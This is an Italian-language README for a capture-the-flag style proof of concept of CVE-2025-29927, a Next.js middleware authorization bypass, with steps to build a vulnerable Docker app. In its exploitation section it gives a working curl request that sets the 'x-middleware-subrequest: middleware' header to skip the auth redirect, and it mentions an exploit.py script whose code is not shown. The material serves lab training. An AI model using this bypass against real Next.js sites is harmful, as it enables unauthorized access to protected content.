CVE-2025-29927 - Bypass dell'autorizzazione del middleware di Next.js (PoC)

Questa è una Proof of Concept in stile Capture The Flag (CTF) per la vulnerabilità Bypass dell'autorizzazione del middleware di Next.js (CVE-2025-29927). L'obiettivo è bypassare il middleware di autenticazione e recuperare la flag dalla route /protected.

Riepilogo della vulnerabilità

• CVE: CVE-2025-29927
• Tipo: Bypass dell'autorizzazione
• Componente: Middleware di Next.js
• Impatto: Accesso non autorizzato alle route protette
• Route di destinazione della PoC: /protected
• Comportamento atteso: Gli utenti non autorizzati vengono reindirizzati a /
• Comportamento vulnerabile: L'utilizzo di una richiesta appositamente modificata consente di bypassare il reindirizzamento e accedere direttamente al contenuto protetto

Setup della PoC

1. Clona il repository

git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker

2. Compila ed esegui l'app vulnerabile

sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app

Questo avvierà l'app Next.js vulnerabile su http://IP:3000

Sfruttamento

1. Senza exploit

Prova ad accedere a:

curl -i http://IP:3000/protected

Verrai reindirizzato a /.

 curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected

2. Con exploit

Usa lo script exploit.py fornito per bypassare il middleware e accedere alla route protetta:

python3 exploit.py -url http://IP:3000

In caso di successo, recupererai la flag da /protected.

File

• Dockerfile - Costruisce l'applicazione Next.js vulnerabile
• exploit.py - Sfrutta la vulnerabilità per bypassare l'autenticazione
• pages/ - Contiene le route vulnerabili /protected e /login
• middleware.js - La logica del middleware vulnerabile
• README.md - Questo file

Disclaimer

Questa PoC è esclusivamente a scopo educativo e di ricerca. Non utilizzarla su sistemi che non possiedi o sui quali non hai ricevuto esplicita autorizzazione al test.

🏁 Flag

Trova la flag sfruttando la vulnerabilità e accedendo a:

http://IP:3000/protected

Buona fortuna! 🏴‍☠️